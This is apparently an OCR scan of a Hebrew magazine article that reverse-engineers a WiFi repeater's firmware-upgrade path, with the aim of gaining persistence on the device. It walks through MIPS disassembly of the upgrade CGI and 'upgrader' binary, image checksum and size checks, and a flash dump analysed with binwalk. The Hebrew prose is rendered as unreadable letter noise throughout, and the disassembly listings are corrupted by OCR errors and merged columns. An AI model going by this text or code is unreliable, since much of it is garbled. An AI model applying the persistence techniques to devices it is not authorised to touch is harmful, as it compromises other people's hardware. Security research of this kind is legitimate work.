Web Application ,Reverse Engineering :An'n 2,020 D'MAINNA YT WATE TIKA AN D' NANKRND
TAY MANKNY DX INNTE [N 77N NI'9'Y90 NI7pn T .TIvI D'09"M70 NAMD ,Security

.D'wUnnwnn 2N7 np'7n nixa

IN 0T DX 7 W' IR "naT” e Rt nine ot Nim TR DYN NI L [IWRIN A7Un L, NyT?

-1 'OX77 WIN'Y? 0l At AT INNDY yIanY At TINA vyn NP7 SSRF-N DR NINYAY YAt M7 'R

.SSRF

11N 2N DR INYN DAY WUTNE MY YN DA AfE TN N 12D A wn A7vn
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Buffer-n n71an

‘NN NITNNNA 75N0nY7 'wnl webupg Dwa CGl yalpa NpaTAn DX 1IIN¥N NNAYY DYO]

[s] rodata:00405F... DODDDD32 C upgrader -c %s -p %5 -u %s -w %s =/var/upgrader.log 2> &1
E .rodata:00405F... 00000005 C user
[s] rodata:00405F... DODDDDDY C password
[s] rodata:D0405F... DODODODS C port
[s] .rodata:00405F... 0OODODOA C image.img
[s] rodata:00405F... DODDDDDY C hitps://
[s] .rodata:00405F... DODODOGO C cd fvar/;/usr/bin/wget --no-check-certificate https:// %5 %s/%s -0 image.img > /var/wget.log 2> &1
[s] rodata:00405F... DODDDDES C cd fvarf;/usr/binfwget --no-check-certificate https://%s:%6s@ %s: %5/ %s -0 image.img > /var/wget.log 2> &1
[s] rodata:D04060... DODODOT6 C rm fvar/image.img -rf
[s] rodata:004060... DODDDDTS C rm fvar/wget.log -rf
‘s’ .rodata:004060... ODDODOOE C fvarfwget.log
's’| .rodata:004060... 00000005 C 100%
‘s’ .rodata:004060... 00000008 C http://
's'| .rodata:004060... 00000048 C cd fvar/i/usr/bin/wget http://%s:%s/%s -0 image.img > /var/wget.log 2> &1
‘s’ .rodata:004060... ODD0D04E C cd /var/;/usr/bin/wget http://%s: %6s@ Yas: %5/ %s -0 image.img > fvar/wget.log 2> &1
‘s’ .rodata:004061... 00000006 C saved
‘s’| .rodata:004061... 00000007 C fp//
‘s’ .rodata:004061... 00000047 C cd /fvar/;/usr/bin/wget ftp:// s %as/%s -0 image.img = fvarfwget.log 2> &1
's'| .rodata:004061... 0000004D C cd fvarfi/usr/bin/wget ftp:// %s: %@ %s:%s/ %s -0 image.img > /var/wget.log 2> &1
‘s’ .rodata:004061... 00000044 C Susr/bin/tftp -g -r %s -l fvar/image.img %s %5 > fvar/tftp.log 2= &1n
‘s’ .rodata:004062... 00000015 C rm fvar/tftp.log -rf
C

|

rodata:004062... 0000000D #|/bin/sh\n%s

TFTP-n 7w NTInnNna 7>no0a

[ 2]
bl =
loc_4@85@5C:
Iw $va, @xl48+var_128(%sp) # Load Word
addiu $s1, $sp, Ox148+var_118 # Add Immediate Unsigned
1w %$a3, @x148+var_118(%sp) # Load Word
lui $a2, ox48 # Load Upper Immediate
move $a@, $s1 # s
sw $ve, @xl48+var_138(%sp) # Store Word
la $a2, aUsrBinTftpGRSL # “/usr/bin/tftp -g -r ¥s -1 /var/image.im"...
1w $ve, @xl4s8+var_11C($sp) # Load Word
1i $al, @x1e8 # maxlen
1a $t9, snprintf # Load Address
jalr $t9 ; snprintf # Jump And Link Register
sw $vd, @x148+var_134(%sp) # Store Word
lui $a@, @x48 # Load Upper Immediate
In $gp, @xl48+var_138(%sp) # Load Word
1a $t9, system # Load Address
jalr $t9 ; system # Jump And Link Register
1a $a@, aRmVarImageImgR # “rm /var/image.img -rf"
lui $a@, @x48 # Load Upper Immediate
1w $gp, @x148+var_138(%sp) # Load Word
1a $t3, system # Load Address
jalr $t9 ; system # Jump And Link Register
la $a@, aRmVarTftpLoghRf # "rm /var/tftp.log -rf"
lui $a@, @x48 # Load Upper Immediate
move $al, $s1
jal UPG_CreateScript # Jump And Link
la %a@, aBinShs # "#!/bin/sh\n&s"
1i v, 1 # Load Immediate
In $gp, @xl48+var_138(%sp) # Load Word
lui $al, @x4e # Load Upper Immediate
W $v@, @xl48+var_138(%sp) # Store Word
Tui $va, @xdl # Load Upper Immediate
1a $t9, PC_StateMachine # Load Address
la $v@, s_ucTftpStateMachine # Load Address
lui $a3, ox4e # Load Upper Immediate
la $al, aTftp # "tftp"”
1a $a3, UPG_ProcCtrl # Load Address
move %a@, %zero
sw $ve, @xl4s8+var_134(%sp) # Store Word
jalr $t9 ; PC_StateMachine # Jump And Link Register
1i a2, 1 # Load Immediate
In $gp, @xl48+var_138(%sp) # Load Word
bnez $ve, loc_4651C8 # Branch on Not Zero
lui $v@, ex44D # Load Upper Immediate

,nmrn'7 D'IN 188 117 IXWI INNW 2100 7V DYIN 256 7T Buffer-2 D'wnnwn nyonw nxM

A7 AN D2N2 NN wnnwin? 73 nm Buffer oy
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[125NN 27W 1220 7Y Persistency Nawn

2210n 20N DRY DX DI DR JNIY 2N 12 2A7WN DR 217 2 7 RN nn
IX "IN 7Y ARIDRN DX MW7 10w Dim 17 W AR TR 7w WIF-N IRN0'0 IR nwY

.persistency A'wn7 "> NTN DIPNI WNNWNY7 2IN

:DWA NI'Myn NIYPIID NNd MRyl webupg yalpa won? 'M7nnn
e UPGCGI_DoConfig_Upgrade
e UPGCGI_DoFirmware_Upgrade
e UPGCGI_DownloadFile
MIY 'WONN PN AN 1D Firmware-nl RtAIEN 7Y ANTwn 'Y70N NR NIZRNNT nx)

:UPGCGI_DownloadFile n'¥j119n 7y 70n01 .yIajp |91k 0NAT

il () =

globl UPGLGI_DownloadFile
UPGLGT_DownloadFile:

var_448= -8xdde
var_43(= -8x43(
var_438= -8x4318

xdSBvar_418(8sp)
A534+var 4"5($>pj ad
bltz  $vd, lor 482218 U Branch on Les

Y
lall s
babez 3wl, loc_ 482804 Bra il Mot o
lui 3wl, Bxde L e Tmme

lui $a@, Bxd@ L Lo
la Ive, af !

la 328, allpgrader

Sw Ive, BxdSe+var -1-11.($=.p_:|

lui Ive, exdd

mowe $al, ja@ " arg,

la 3ve, avarImageImg

lui $a2, oxd8

Sw Ive, BxdSe+var 4]x($=p_:|

la e,

lui $a3, &

Sl e,

lui e, & o

la 39, execlp Lo

la e, alJnggi )

la fal,

la $al; asc_J3GSAE "2

s Tvd, SudSd+var 4"'4($=p_:| Store Word
jalr s clp And Li

S $zero; 1.::4'1:‘+\r.e| 4"'1.($=p_:| 5

1w 3gp; SxdSd+var 4IE{fsp) I...:.. -

X
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:upgrader DwA 727 K17 YUK WTN process NIXI' N'¥7I9NYW NN

1
Y
Mz
loc_4@8351C:
la $t3, stromp # Load Address
move a8, $s8 # s1
jalr $t3 ; strcmp # Jump And Link Register
addiu  $al, (aDownloadconfig - @x48@888) # "downloadConfig”
1w $ep, @x38+var_28(%sp) # Load Word
bnez $v@, loc_ 483548 # Branch on Not Zero
lui $al, ex4e # Load Upper Immediate
I 1

7N X (Nwy' CGI-N VOMPO N71IYVD NT'R YAIPY) name 10N 1FAYNY7 DDMIX 1INIRY NR)
MIX 721y downloadConfig 10N9N DY 217 M9 UKD .AY197 KNi77 T downloadConfig

NN DX 700 TR XML Yalp 7w awnnn IR T 072104

<X TWSZ-COM UsrDNSServers t="s"I></X_TWSZ—COM_USJ:DNS
(DNE#Servers t="s"></DNSServers>
<DNSOverrideRllowed t="b">0</DNSOverrideillowed>
<DNSEnabled t="b">1</DNSEnabled>

AXWI DNS MY [120 DMAT 7W A'YIIA01I7 MNIY KINW 27 D'w1 7K Yalpn 72 7 1A K7 [am)d

:UPGCGI_DoConfig_Upgrade n'¥j72190 2y 70n01 .Ni*ayn nIMIIYpEN NNTaN

addiu  $sp, -@x50@ # Add Immediate Unsigned
SW $ra, @xSe+var_4($sp) # Store Word
1i $gp, @x41E360 # Load Immediate
sw $gp, @x58+var_28(%sp) # Store Word
la $t9, fork # Load Address
jalr $t9 ; fork # Jump And Link Register
sW $zero, @x58+var_18(%sp) # Store Word
1w $gp, @x58+var_2@8(%sp) # Load Word
bltz $v@, loc_402624 # Branch on Less Than Zero
nop
.
A J
I
bnez $v@, loc_4@1FE@ # Branch on Not Zero
lui $v@, Ox48 # Load Upper Immediate
Ii |
il e 5
lui $a@, @x4d # Load Upper Immediate
la $ve, aP # "-p"
la $a@, aUpgrader # "upgrader”
W $v@, @x5e+var_48(%sp) # Store Word
Tui $v8, Bx48 # Load Upper Immediate
move %al, $a@ # arg
1a $ve, aVarConfigImg # “/var/config.img"”
lui $a2, @x4d # Load Upper Immediate
W $v@, @x5e+var_3C(%sp) # Store Word
1a $ve, al # "-u"
Tui $a3, @x4d # Load Upper Immediate
sw $ve, exSe+var_38(%sp) # Store Word
la $v@, alpgcgi # "UPGCGI"
la %a2, aC # "-c"
W v, @x5e+var_34(%sp) # Store Word
1a Sve, aM # "-m"
1a $a3, asc_485988 # "3
sw $ve, exSe+var_38(%sp) # Store Word
lui $v@, @x42 # Load Upper Immediate
la $t9, execlp # Load Address
1a $v8, s_DeviceMode # Load Address
W $v8, @x5e+var_2C(%sp) # Store Word
jalr $t9 ; execlp # Jump And Link Register
sw $zero, @x5@+var_28($sp) # Store Word
Iw $gp, @x5e+var_2@8(%sp) # Load Word
'
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YAl 17 W WOy NI Anmmipn IR NTY7 T aNTwn "% DRIp XN DAY DR

-0 NT NaINnY M 7w D nun DNS M (KNarT?) o'W mIk )Ny n pn g

DY'YON 7V NIVNWUN YWNNT7 N9'PN 1071 NIFNY 71D 0T ,0N'7V [IIDR IRY DINKT7 v'ar Repeater

J2pn 7w n'oon

ON " firmware-n ANTY 1'70N2 1'WHYN TNl 1'wonn 7y persistence A'wn? D¥IN 1RY 11DN X

.NXIY NN NIWY? 1'won? 0na? o0 - 77pn IX 0'¥apn Ndvn DR 97007 'on

:DMAY AR IN firmware-n YaIpw AW NIYPN NPT W' DR 72102

el TEP> S
la $t9, strdup # Load Address
jalr $t9 ; strdup # Jump And Link Register
movn $a@, ve, Ive # s
1a $al, aFirmware # "firmware
move  $a@, $uB
jal safe_strcmp # Jump And Link
move $s@, vo
bnez $v@, loc_4@37F@ # Branch on Not Zero
lui $al, ox40 # Load Upper Immediate
h J h J
UPGCGI_CalcImgSize # Jump And Link
loc_4@37F8:
move $a0, $s0 3a@, aVarImageImg # "/var/image.img"
jal safe_stremp # Jump And L $az, $ve # max_image_size
addiu  $al, (aConfig - ex4eeees) *# $al, @x2@ # min_image size
bnez $ve, loc_4@3834 # Branch o t Zero UPGCGI_UploadSingleFile # Jump And Link
lui $a1, @xae # Load Upper Immediate $a3, 1 # type
$v@, loc_4837CC # Branch on Not Zero
$s1, $v@
A i _ A i
ll et 5
Jal UPGCAT_DoFirmwareUpgrade # Jump And Link
34: nop
3aB, $s50 move $s1, $v@
safe_stromp # Jump And Link
$al, (aUploadauthfile - @xd4ee@ee) # "uploadAuthFile”
$ve, loc_483858 # Branch on Not Zero
3a1, @x48 # Load Upper Immediate

951, Bx453

Load Upper Immediate

3 Y y Y

$a@, x40 # Load Upper Immediate
8581 $al, ox20 # min_image_size loc_4@37CC:
$a@, $s@ $a@, avarConfigImg # "/var/config.img" 1i $wB, Bx456232A # Load Immediate
safe_strcmp # Jump And Link $a2, 8 # max_image size beq $s1, $v@, loc_4@3B78 # Branch on Equal
$al, (aUploadtr@69aut - Bx4@8800) # "uploadTRBE9AuThFile” UPGCGI_UploadsingleFile # Jump And Link| |lui $v@, Bxd55 # Load Upper Immediate
$v@, loc_483BF@ # Branch on Not Zero $a3, $zero

S8, loc_4B3A38

$s1, Sve

# type
# Branch on Not

Ze

X7 NN

NI W NIPNA) NYIIADAIPA DAl Firmware-n YW N1jpna DA ,NIKY NIY D

ANTYUN X721 0 DTN X'l NT'RA 711 UPGCGI_UploadSingle n'xj219n Nk (N1mn'? noad)
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:D'0UITN O'P7NN DX 71 N9 VD]

bl e [=

loc_4@2C9C:
la $t9, remove_CRLF_and_sawve_buffer # Load Address
lui $s508, ax42 # Load Upper Immediate

addiu  $a@, $s@, (sLineBuffer - @x420008) # original_buffer
addiu $al, $sp, @x1@s+n # size

jalr $t9 ; remove_CRLF_and_save_buffer # Jump And Link Register
addiu %$a2, $sp, @xl@3+var_EC # buffer

addiu $a@, $s@, (sLineBuffer - @x428008) # ptr

move $a3, $s1 # =

1w $gp, @xles+var_F8(%sp) # Load Word
1i al, 1 # size

1w $a2, @x1@s8+n(%sp) # n

1a $t9, fwrite # Load Address
jalr $t9 ; fwrite # Jump And Link Register
1a $s@, sLineBuffer # Load Address
move $v@, $zero

1w $gp, @xles+var_F8(%sp) # Load Word
addiu $a@, $sp, @xles4var_E@ # sl

1i $vl, 8xB # Load Immediate

vi

loc_482CE4:

addu $a2, $s0, Tve # Add Unsigned

addu %al, %a@, Fve # Add Unsigned

1bu %$a2, @x20(%a2) # Load Byte Unsigned
addiu v, 1 # Add Immediate Unsigned

bne $v@, $vl, loc_4@2CE4 # Branch on Not Equal
sb $a2, @(%al) # Store Byte
'*_l
Pz
1a $t9, strncasecmp # Load Address
lui $al, @x48 # Load Upper Immediate
sb $zero, @x1@8+var D5($sp) # Store Byte
la $al, aDracoDbAp # "DRACO_DB_AP"
jalr $t9 ; strncasecmp # Jump And Link Register
1i a2, @xB #n
1w $gp, @x1@8+var_F&(%sp) # Load Word
bnez $ve, loc_482D07@ # Branch on Not Zero
nop

1
| Y

-N 7w 7TIan NTw n721 Ywnnl) nvimy yaignn o' 112 o' firmware ANTwA N2 nTna
"DRACO_DB_AP" 71vin ny nrnnn v ox 0'pTA buffer-7 npnyn anx'721 (ANTwn yalp 9w Header

Y2l 7w 7712 NiptTan Yin nimyn NI DY 'R 27 1avn L yaign n'7'nnn 32 vo'na

T2 upgrader DWA "IN ININA Nwnnwn UPGCGI_DoFirmware_Upgrade n'¥j7219n DA > 17 D'wa

0T YaIR 7y 75101 ANTWUN 7'70N INKR NIZNNNYT 'wnin’ 1 27 firmware-n IR 20TWY

77NN 7w INKYT? NOTINN NTIAY DX I0N7 "D X' 7W ANXA ANTY YAl WON7 Mo |y v

0TI YaIj7 DO'D X7 X' X ANTYUN
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Down the rabbit hole we go

N7NNNNAY 7INNIKN NU¥21197 NXNP7 12YynY nRN] [da-2 upgrader yalpn DX O'NNIS 1INIX TWND

N7 IN'ANY DMVNT9N NIX NN0Y9NI NX717A nx NN, IPC API

=W $al, OXIIBfargv($sp) = Store word
jalr $t9 ; memset # Jump And Link Register
move %al, %zero #c
move 3a@, $s5 # =
move 3al, $zero #c
In $gp, @x1l8+var_F8($sp) # Load Word
la $t9, memset # Load Address
jalr $t9 ; memset # Jump And Link Register
1i a2, Ox48 #n
jal UPG_ModuleInit  # Jump And Link
nop
In $gp, @x1l8+var_FB8($sp) # Load Word
bnez $ve, loc_4824C8 # Branch on Not Zero
lui $fp, x4 # Load Upper Immediate
A
P
lui $s7, @xdd # Load Upper Immediate
Jui $s6, Gudd # Load Upper Immediate
la $ﬁJ) aCPUWM # "ciprutwim:”
sw $s@, @x118+dest($sp) e Word
la $s7, a54d2@sFuhuopin # d ¥2@s: fuhuoping: #s.\n"
la %56, aUpg frw_c # "upg ¥
move 3s@8, $zero
move 1_value, $zero
move w_value, Fzero
la $s1, optarg # Load Address
b loc_4826C8 # Branch Always
move c_value, %zero

v‘ft‘v’

[l (=

loc_4826C8:

1a $t9, getopt # Load Address

1w $a@, @xlld+argc($sp) # argc

1w %al, @xlls+argv($sp) # argv

jalr $t9 ; getopt # Jump And Link Register
move %az2, $fp # shortopts

1i $vl, OxFFFFFFFF # Load Immediate

1w $gp, @xll8+var_FB8($sp) # Load Word

bne $ve, $vl, loc_4@24E8 # Branch on Mot Equal
nop

[

N7 INDNY9XN 0N W NXMIN DK UY IWR 7Y DTN IX? wnwn IPC API-n

N1 .12 TPANKR X7 D7 179 nun? '0a17 X7 K0 R 7"10 API-D DR DA 1INKY 'MOTnY |'y7 vt

D'2VNY DIVNT9N TNX .D'VINIAN 10197 NN 7V getopt N'X[71191 NYNNYUN X210y N7

7277 yTI "R NRYoIRD - MId

-2 D'TI9M N7apn K'Y DTN 7D 7Y nntwn R NIet

m ,w ,u,p,c:0N

7w INn XIN getopt 7w NITANN 1Y) DYON TN getopt 72T NT'R DY 70 N TIAl ¥ N'Y719N

.(0M019n yadw AT

NXOIR Y

> 7Y MY 10N

ANTY |"¥n 1 YN QUKD .NYpiann N71VoN N |''¥XN AWK 371 I'2 50N 1V ¢ N'XOIX e

ANYIIADIIP YAl NN 3 YN AT AR Yl XN |ty 2 i firmware

44

All Your WiFi Repeater are Belong to Us

www.DigitalWhisper.co.il

2018 'xn ,94 12



Technologic

,7NNN AoIpn - firmware ANTwWa 0 XN Wwnl nTNA .0 IN 1 MB90N 1 'w QNXOIX e

JNRW AXAIAOdIZN NNNK

7w DWUN D' AT ATYIADIRN IR KNP7 17N DX 017 ,N71V97 UNw'Y YaIpn DY ip A'NOIN e

AT NUNY YNW'Y YaIgn AT - ANTY IX N9 N2 1NN DX ,X7'Y YAl

I

# int _ cdecl UPG_GetUserMID(char *caller_name)
.globl UPG_GetUserMID
UPG_GetUserMID:

var_le= -@xle

var_g= -8

var_d4= -4

addiu  $sp, -@x2@ # Add Immediate Unsigned
W $ra, @x2e4var_4(%sp) # Store Word

W $s8, ex2e4var_B(%$sp) # Store Word

1i $gp, @x41C178@ # Load Immediate

W $gp, @x28+var_1@($sp) # Store Word

lui $al, @x4@ # Load Upper Immediate
1a $t9, strcmp # Load Address

la $al, aUpgcgi # "UPGCGI"

jalr $t9 ; strcmp
move =8, a8

Jump And Link Register

In $gp, @x284var_1@8(%sp) # Load Word
beqz $v@, loc_4@@F78 # Branch on Zero
1i $vl, @xDal # Load Immediate
I
_ A J
I
1a $t9, strcmp # Load Address
lui $al, @x4@ # Load Upper Immediate
move a8, =0 # sl
jalr $t9 ; strcmp # Jump And Link Register
la $al, aTr@ss # "TRBEI"
In $gp, @x284var_1@8(%sp) # Load Word
beqz $v@, loc_4@@F78 # Branch on Zero
1i $vl, Bx18E # Load Immediate
L
I
1a $t9, strcmp # Load Address
lui $al, @x4@ # Load Upper Immediate
move a8, =0 # sl
jalr $t9 ; strcmp # Jump And Link Register
la $al, aFtpupg # “"FTPUPG"
In $gp, @x284var_1@8(%sp) # Load Word
beqz $v@, loc_4@@F78 # Branch on Zero
1i $vl, BxE@L # Load Immediate

MINIY NTNNNAN DX Tayn "20 WX ,"707 K7 process NT'X N1"'XN AWK NTNNN (U N'XI9X o
ID-7 DNIX YNl D'-process 7Y UNIN DWIT NN 7 NTNNNN DR PTIA RIN IT N'XOIXA A7

LN'RNN ARAY NYTIN NO9TINI -1 TN X¥IN X7 XNl nT'na .IPC APlI-A Dnw

by K pY process-n 2v ID-n XINY ,MID-N NN N1''¥N TYUX NTINNN :m D'XOIN e
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0NN Y Log-n 7NNl 0NNl NN .1-70 Fa 1w il nxoIx e

.UPG_Updatelmg Dwa Ni"yn n'¥jpIo ' yalm

var_128= -8x126
var_11E= -@x11E
var_20= -6x26
var_1C= -@x1C
var_18= -@x18
var_14= -ex14
var_10= -@x1@
var_C= -@xC
var_g= -8
var_4= -4

addiu  $sp, -Bx238 # Add Immediate Unsigned
£ $ra, @x238+var_s($sp) # St
sw $56, Ox238+var_8(Ssp)
sw $s5, @x238+var_C($sp) ¥ St

sw §s4, Bx235+var_16($sp)
sw §s3, Bx235+var_14($sp)
sw §s2, Bx235+var_13($sp)
sw $51, @x238+var_1C($sp)
E $5@, @x238+var_28($sp)

1i $gp, @x41C178 # Load Immedi

sw $gp, @x238B+var_228(3sp) # d
1a $t9, access # Load Add

move  §s0, 3a0

lui $a0, ox40 # Load Upper Immediate
move $s5, $al

1a $a@, avarUpdate_img # "/var/update img”
move $al, $zero # type

move $s1, $a2

jalr  $t9 ; access # Jump And Link Register
andi  $s2, $a3, OXFFFF # AND Immediate

1w Sgp, Ox23+var 225($sp) #
beqz  $v@, loc 482348 # Branch o
lui $a0, ox2D # Load Upper Immediate
1
L]
all s =
la $t9, access
1a $a@, aVarUpdate bi
jalr  $t3 ; access # Jump And Link Register
move  $al, $zerc # type
1w $gp, Bx23&+var_228($sp) # Load word
beqz  $v@, loc_48234@ # Branch on Zero

nop

FEE

jal
move
beqz
move

UP6_CheckValid # Jump And Link
520, 350
5ve, loc 462184 # Branch on Zero
%50, $ve

|[on NX7 .update_bin-I update_img :NmMwa D'¥ap ¥ DM DXN 2T TIign 79 Nt 77m

NI'YIA'9IPN 07NN L,0 VTN IT N'¥22191 N TN ,UPG_CheckValid owa n'¥j72197 NP N'¥72190

N9 7V Pnv? 75N01 NIr0NI7IN NIYDIND NIX N7'DN YAIR7? NRMPN DX NdWNN 7w 0'-log-nl

NZTIA N'¥190 DNAT 17'R DNl UPG_CheckValid

P

.globl uPe_Checkvalid
UPG_Checkvalid:

var_E@= -8xE@
flash_size_string= -@xDs

thirty two_bytes_from_end of_file= -8xB8
img_or_bin_string_in file= -@x93
var_S94= -8x94
kernel_and_squashfs_size= -exse
var_7(= -8x7C

logging_var= -@x2@

var_ld= -8x14

var_18= -8x1é

var_C= -@wC

var_8= -8

var_4= -4

addiu  $sp, -BxF@ # Add Immediate Unsigned

sW $ra, @xFet+var_4($sp) # Store Word
W $s3, @xFedvar_B(%sp) #

sw $s2, @xFed+var_C(%sp) # v

W $s1, @xFe+var_10(%sp) # Store d
sw $s8, @xFet+var_14($sp) # Store Word
1i fgp, @x41C170 # Load Immediate
sw $gp, @xFe+var E@($sp) # Store Word
jal UPG_CheckSum # Jump And Link
move $s8, %ad

1w fgp, OxFe+var E@(%sp) # Load Word
beqz fve, loc_4@1184 # Branch on Zero
Jui $20, Ow48 # Load Upper Immediate
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D'N 4-7 nnwnl yalgn 7w checksum-n NN NAWNN YWKR N90I '¥71197 NXOIP N'N190

:(Yaipn 7w awinnin checksum-n NI'n'7 MK n7xn 0'NA 4-aw 2'on 7511 P7) yalpn 7w Dannxn

] Y

FEIE

loc_4@119C:

la $t9, fread # Load Address

addiu  $a@, $sp, @xFe+thirty two_bytes from end of_file # ptr

move $a3, %s@ # stream

1i $al, Bx24 # zize

jalr $t9 ; fread # Jump And Link Register

1i a2, 1 #n

move $s1, $ve

1i $ve, 1 # Load Immediate

1w $gp, @xFe+var_EB(%sp) # Load Word

beq $s1, $v@, loc_4@11E4 # Branch on Equal

Lui $a@, ox40 # Load Upper Immediate

Y

loc_4@11E4:
1a $t9, strcmp # Load Address
la %al, (aVarUpdate_bin+@xC) # s2
jalr $t9 ; strcmp # Jump And Link Register
addiu  $a@, $sp, @xFe+img or bin string in file # s1
1w $gp, OxF@+var E@($sp) # Load Word
bnez $ve, loc_4@13B8 # Branch on Not Zero
move a@, %s@ # stream

7R K7W NInwnn) 0 36 NRYIREE 9100 1197 D'NA 40-7 yalpn 7Y jnon DX DT N'¥190
NTNNNY7 DY XY Y RN NKRY? ,(checksum-n DR 'MawNn X7 D qion 197 0'Na 32 X

:(image-1 bin 2ANTY D210 MW W'w NXT1 (wnnl) "bin"

FEE] FIZE
la $ta, open # Load Address
1a $a@, aProcLlconfigfl = “/p config/flash_size” Loc_481488:
jalr  $t9 ; open # Jump And Link Register 1a $t9, open # Load
move  3al, $zero # oflag 1a %28, aProcllconfiglm #
I $gp, @xF@+var_E@($sp) # Load Word jalr $t9 ; open # Jump And
bgez  $v@, loc_4@12a4 # Branch on Greater Than or Equal to Zero move  $al, $zero # oflag
move 351, Sve Iw $gp, @xFe+var_E@($sp) # Load Word
bgez $v0, loc_4@1564 # Branch on Greater Than or Equal to Zero
move 358, $u@
[ L
_ L |
ol i (=1
loc_481244:
addiu  $s2, $sp, @xFe+flash_size string # Add Immediate Unsigned|
move  $al, $zero #c
la $t9, memset # Load Address
move $a@, $s2 # s
jalr  $t9 ; memset # Jump And Link Register
1i $a2, @x20 #n
move  $al, $s2 # buf
1i $a2, xA # nbytes
In $gp, xFe+var E@($sp) # Load word
1la 4t9, read # Load Address
jalr  $t9 ; read # Jump And Link Register
move  $a@, $s1 # fd
move  $a@, $s2 # nptr
move  $al, $zero # endptr
In 4gp, @xFetvar_EB($sp) # Load Word
1i $a2, @x1e # base
1a $t9, streol # Load Address
jalr $t9 ; striol # Jump And Link Register
move  $s3, Sv@
move  $s2, $v@
1 $v@, BxFFFFFFFF # Load Immediate
In Sgp, @xFé+var E@($sp) # Load Word
bne $s3, $v@, loc_4812CC # Branch on Not Equal
Lui Sal, x40 # Load Upper Immediate

ANXR 17 ATY' 0T Y ,0x8000000-7 nnw 1DW) flash_size Dwa yalp X171 NIY NITNNANIE NN

2Yaipn w9127 nnwni ()
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:0 7wn atnmi var v "update_bin" DWA 7 yaup XN ,NNY IR [V YaN 0T

ol et =

loc_461388:

1a $t9, Fseek # Load Address

move  $al, Szero # off

jalr  §t9 ; fseek # Jump And Link Register

move  $a2, $zero # whence

1w $gp, @xFa+var_Ea($sp) rd

bgez $v0, loc_4@14@C # Branc reater Than or Equal t
move 323, $s@ # strean

h ]
ol et =
loc_46146C:
1a $t9, fread # Load Address
addiu  $a®, $sp, @xFo+var 94 ¥ ptr
1i $al, @x70 # size
jalr  $t9 ; fread # Jump And Link Register
1i $a2, 1 #n
1w $gp, exFetvar_Ee($sp) # Load wWord
beq $v@, $s1, loc_481484 + ual
lui $a0, Ox20 # Load Upper Immediate
_ h ]
FEE]
loc_461454:
la $t9, fclose #
jalr  $t9 ; felose # Jump And Link Reg
move $a@, 350 # stream
lui $al, oxde # Load Upper Immediate
1w $gp, @xF@+var_E@($sp) Load Wor
la $al, almgs #
la $t9, stremp ddress
jalr  $t9 ; strcmp # Jump And Link Register
addiu  3a@, $sp, GxFo+var 7C # sl
1w $gp, @xFe+var_Ee($sp) # Load
beqz $ve, loc_481488 # Bran,
lui $a@, ox4e # Load Upper Immediate

DNl 0O'N] 112 0'RI7A1 YA N7'NNY 77 Yalpn 79 non ,niv X7 NITNNNN 79 wnl TN

Mimgs" NTNNNN NAIND Yalza 0'NA 24 VOV PTA)

ol s =

loc_4@1488:

la $t9, open # Load Address

1a $a@, aProcLlconfigIm

jalr  $t9 ; open # Jump A

move  $al, $zero # oflag

In $gp, @xFa+var EB($sp)

bgez $v0, loc_481584 # Branch o to
move  $50, Sv@

| L

h h
e = i =
loc_401244: loc_401504:
addiu  $s2, $sp, OxFO+flash_size string # Add Immediate Unsigned| |addiu  $s1, $sp, OxFB+flash_size string # Add Inmediate Unsigned
move  $al, $zero #c move  $al, $zero #c
1a $t9, memset # Load Address 1a $t9, memset # Load Address
move %a@, $s2 #s move %a@, %s1 # s
jalr  $t9 ; memset # Jump And Link Regis jalr  $t9 ; memset # Jump And Link Register
1i $a2, 6:x28 #n 1i $a2, @20 #n
move  $al, 82 # buf move  $al, Ssl # buf
1i $a2, GuA # nbytes 1i $a2, @A # nbytes
In $gp, exFe+var_EB($sp) # Load word In $gp, exFe+var_EB($sp) # Load word
1a $t9, read # Load Address 1a $t9, read # Load Address
jalr  $t9 ; read # Jump And Link Regis jalr  $t9 ; read # Jump And Link Register
move  $a@, $sl # fd move  $a@, $s0 # fd
move $a@, $s2 # nptr move $a@, $s1 # nptr
move  $al, Szero # endptr move  $al, $zero # endptr
In $gp, BxFe+var EB($sp) # Load Word In $gp, @xFe+var_EB($sp) # Load Word
1i $a2, ex1e # base 1i $a2, ex1e # base
1a $t9, strtol Addre 1a $t9, streol d A
jalr  $t9 ; strtol Jump And Link Register jalr  $t9 ; strtol A
move  $s3, Sve move  $s1, $v@
move 352, Sv@ 1i $v1, @xFFFFFFFF # Load
1i $v8, BxFFFFFFFF  # Load Immediate 1w $gp, BxFo+var_E@($sp)
In $gp, @xFe+var_EB($sp) # Load Word bne $s1, $vl, loc_4p1508 # Not Equal
bne $s3, $v@, loc_4B12CC # Branch on lui $a8, @x4d # Load Immediate

NI 1DY) img_space yalpn 7 yaipn N7'nnn 20 00'NA D'NA 4 7w W TR IT NPT INRY
DY 7 YAl X - DI IR (U7 ANTYA yalp N7'NNn X 710 nTna L,(0x7d0000-7

.0 7wn artnmi var nvp'na update_img

177 N0'9TA NdWNN NIYATIN NIR'TAN 75 DX 1Nl nT'na .UPG_Updatelmg n'¥j7219%7 NitNa

"update image file on flash by calling kernel !"

.reboot NnTNNNN Dy system-'? NN NYX2NN X1
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?'womin X VO WA PN INKYT T M7 RKIp XINY T At )'7NNnY an? ?7nn v
MYy 72770 D' awn TNR T 7Y Nownn DUV Nya wninn anTunw anta g nywinn

.nxy bootloader*-n Ix (firmware D' TwN AWK 1120 K7 TINN)

NN A'WN7 211 DX NIXYY? 1D flash-7 dump yxa? 'mo7nn anTwn '70N0 DX 210 N AN nn

ANTYN 70N DX AN 17w 2INK7 NOTIN IX NXIN T V1 ,bootloader-n

Dumping the flash

2210 7w flash-2 niX'Nnin n1an NX NIRKYY 12 /proc/mtd yalzn 7V cat N9 wnnwa

NNX ,(NNTANIE bootloader-n MR N7'on NRN12) boot NXIPI NNX NIX'NN 3-1 112 2ADINY DR
nownl MmMgn 7w TN 2% m'wr 'yn TN .0'YARn NOIYN DR 07N NNRE PR DR non
AI0N ANTYYW NNY N1 D7 ,image a10n ANTY 7w *ropnn 72man .0x7d0000 N TN D'¥apn
oAl PN DR P 0T image AIon ANTY 17'RI bootloader-n 7713 flash-n 22 7y anid bin

02PN

D217V 1INIX N7W ANTYWA POT INWUN DRY |II)D) 210N 70V KIN bootloader-n 7w aNTwW [11'dn
-2 wim'wn T v flash-7 dump 'm'wy 1273 image a1on anTwa Tpnna 27 ('won? brick niwy?
:binwalk-a 1”7y 75101 ;2070 7V 117 W 120w shell

I ¢ binwalk entire_repeater_fl
ash.raw

HEXADECIMAL DESCRIPTION

0x1958 compressed data, properties: Ox5D, dictionary
size: 8388608 bytes, uncompressed size: 107408 bytes
69890 0x11102 flib compressed data, default compression
81409 Ox13E01 Z1ib compressed data, default compression
135426 0x21102 Z1ib compressed data, default compression
